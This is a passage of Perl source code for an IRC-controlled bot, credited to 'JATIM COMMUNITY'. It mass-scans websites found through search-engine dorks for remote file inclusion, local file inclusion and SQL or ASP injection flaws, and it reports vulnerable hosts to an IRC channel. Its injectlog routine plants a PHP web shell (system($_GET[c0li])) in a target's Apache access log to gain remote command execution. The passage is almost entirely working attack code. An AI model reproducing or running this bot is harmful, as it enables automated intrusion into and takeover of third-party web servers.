$line_temp = $line;
}
}
}
}
}
##################################################################### Procedure
sub injectlog() {
my $host = $_[0];
my $port = $_[1];
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 12 Injecting 7 ".$host.":".$port." 12Apache Access Log ... ");
my $php = "<?php if(get_magic_quotes_gpc()){ \$_GET[c0li]=stripslashes(\$_GET[c0li]);} system(\$_GET[c0li]);?>";
$sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => 80, Proto => "tcp") ||
die sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 4 Cant Connect to 7 ".$host.":".$port." ");
print $sock "GET /vOpCrEw.UnderGrounD ".$php." HTTP/1.1\r\n";
print $sock "Host: ".$host."\r\n";
print $sock "Connection: close\r\n\r\n";
close($sock);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host." 12is Done ... ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host." 12RCE Parameter -> 3 c0li ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host." 12RCE Identifier -> 3 JATIMCOM ");
}
#################################################
sub rfiscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
if ($engz =~ /GoodSearch/) {
my @goodsearch=&goodsearch($dork);
push(@total, @goodsearch);
}
if ($engz =~ /YahOo/) {
my @yahoo=&yahoo($dork);
push(@total, @yahoo);
}
my @clean=&calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14RFI 10)( 3@ 14$engz 10) 10 Total: 14 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10 Exploiting 14 $dork ");
}
my $uni=scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$injector."?";
my $vuln = "http://".$target." 12".$bugz." 7".$phpshell."? ";
my $re = getcontent($xpl);
if($re =~ /$rfi_result/ && $re =~ /uid=/){
os($xpl);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln." 10( 3@ 14".$os." 10)( 3@ 4SAFEMODE-OFF 10) ");
}
elsif($re =~ /$rfi_result/)
{
os($xpl);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln." 10( 3@ 14".$os." 10)( 3@ 4SAFEMODE-ON 10) ");
}
}
}
#################################################
sub lfiscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
if ($engz =~ /GoodSearch/) {
my @goodsearch=&goodsearch($dork);
push(@total, @goodsearch);
}
if ($engz =~ /YahOo/) {
my @yahoo=&yahoo($dork);
push(@total, @yahoo);
}
my @clean = &calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 14 Total: 4 (".scalar(@total).") 12 Clean: 4 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 14 Exploiting 4 $dork ");
}
my $uni=scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 10 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$lfi_test;
my $vuln = "http://".$target." 12".$bugz." 7".$lfi_test." ";
my $re = getcontent($xpl);
if ($re =~ /$lfi_output/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln." 15( 7@ 3JATIMCOM 15) ");
}
}
}
#################################################
sub sqlscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
if ($engz =~ /GoodSearch/) {
my @goodsearch=&goodsearch($dork);
push(@total, @goodsearch);
}
if ($engz =~ /YahOo/) {
my @yahoo=&yahoo($dork);
push(@total, @yahoo);
}
my @clean = &calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Total: 10 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Exploiting 14 $dork ");
}
my $uni = scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$sql_test;
my $vuln = "http://".$target." 10".$bugz." 14[SQL] ";
my $re = getcontent($xpl);
if ($re =~ /$sql_output/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14SQL 10)( 3@ 14$engz 10) 10( 14@ 10ErrorQuery 10) 14 ".$vuln." 10( 3@ 14Jatimcon 10) ");
}
}
}
#################################################
sub aspscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
my @clean = &calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Total: 10 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Exploiting 10 $dork ");
}
my $uni = scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$sql_test;
my $vuln = "http://".$target." 19".$bugz." 14[ASP] ";
my $re = getcontent($xpl);
if ($re =~ /$asp_output/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14ASP 10)( 3@ 14$engz 10) 10( 14@ 10ErrorQuery 10) 14 ".$vuln." 10( 3@ 14Jatimcon 10) ");
}
}
}
#################################################
sub os() {
my $site = $_[0];
my $re = &query($site);
while ($re =~ m/<br>os:(.+?)<br>/g) {
$os = $1;
if ($1 =~ //) { $os = "Unkn0wN"; }
}
}
#################################################
sub response() {
my $re = getcontent($injector);
if ($re =~ /pZLNd8MwEITvg/) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10) 10 « 3MANTAP JAYA 10 » ");
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10) 10 « 3BOSOK 10 » ");
}
}
#################################################
sub getcontent() {
$url = $_[0];
my $req = HTTP::Request->new(GET => $url);
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
return $response->content;
}
#################################################
sub google(){
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=0; $b<=1000; $b+=100){
my $Go=("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}
}
}
return @lst;
}
#################################################
sub alltheweb() {
my @lst;
my $key = $_[0];
my $b = 0;
my $pg = 0;
for ($b=0; $b<=1000; $b+=100) {
my $all = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$b);
my $Res = query($all);
while ( $Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
my $k = $1;
$k =~ s/ //g;
my @grep = links($k);
push( @lst, @grep );
}
}
return @lst;
}
#################################################
sub uol() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10) {
my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$b);
my $Res = query($UoL);
while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
my $k = $1;
if ( $k !~ /busca|uol|yahoo/ ) {
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
#################################################
sub Bing() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10) {
my $bing = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$b."&FORM=PERE");
my $Res = query($bing);
while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
if ( $1 !~ /msn|live|bing/ ) {
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
#################################################
sub altavista(){
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10){
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while ($Res=~m/<span class=ngrn>(.+?)\//g){
if ($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}
}
}
return @lst;
}
#################################################
sub ask() {
my @lst;
my $key = $_[0];
my $b = 0;
my $pg = 0;
for ($b=0; $b<=1000; $b+=10) {
my $Ask = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$b);
my $Res = query($Ask);
while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
if ($1 !~ /ask.com/){
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
#################################################
sub lycos() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=0; $b<=1000; $b+=10) {
my $lyc = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=".$b."&query=".key($key)."&cat=web&enc=utf-8");
my $Res = query($lyc);
while ($Res =~ m/href=\"http:\/\/(.+?)\" >/g) {
if ($1 !~ /lycos/){
my $k = $1;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}
#################################################
sub goodsearch() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=500; $b+=1) {
my $goods = ("http://www.goodsearch.com/search.aspx?keywords=".key($key)."&page=".$b."&osmax=0");
my $Res = query($goods);
while ($Res =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g) {
if ($2 !~ /goodsearch/){
my $k = $2;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}
#################################################
sub yahoo() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=500; $b+=1) {
my $yahoo = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$b);
my $Res = query($yahoo);
while ($Res =~ m/26u=(.*?)%26w=/g) {
if ($1 !~ /yahoo/){
my $k = $1;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}
#################################################
sub links() {
my @l;
my $link = $_[0];
my $host = $_[0];
my $hdir = $_[0];
$hdir =~ s/(.*)\/[^\/]*$/\1/;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host .= "/";
$link .= "/";
$hdir .= "/";
$host =~ s/\/\//\//g;
$hdir =~ s/\/\//\//g;
$link =~ s/\/\//\//g;
push( @l, $link, $host, $hdir );
return @l;
}
#################################################
sub key() {
my $dork = $_[0];
$dork =~ s/ /\+/g;
$dork =~ s/:/\%3A/g;
$dork =~ s/\//\%2F/g;
$dork =~ s/&/\%26/g;
$dork =~ s/\"/\%22/g;
$dork =~ s/,/\%2C/g;
$dork =~ s/\\/\%5C/g;
return $dork;
}
#################################################
sub query($) {
my $url = $_[0];
$url =~ s/http:\/\///;
my $host = $url;
my $query = $url;
my $page = "";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~ s/$host//;
if ( $query eq "" ) { $query = "/"; }
eval {
my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page = "@r";
close($sock);
};
return $page;
}
#################################################
sub calculate {
my @calculate = ();
my %visti = ();
foreach my $element (@_) {
$element =~ s/\/+/\//g;
next if $visti{$element}++;
push @calculate, $element;
}
return @calculate;
}
#################################################
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
#################################################
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
##################################################
##################################################
## ##
## JATIM COMMUNITY ##
## ##
##################################################
##################################################
read more...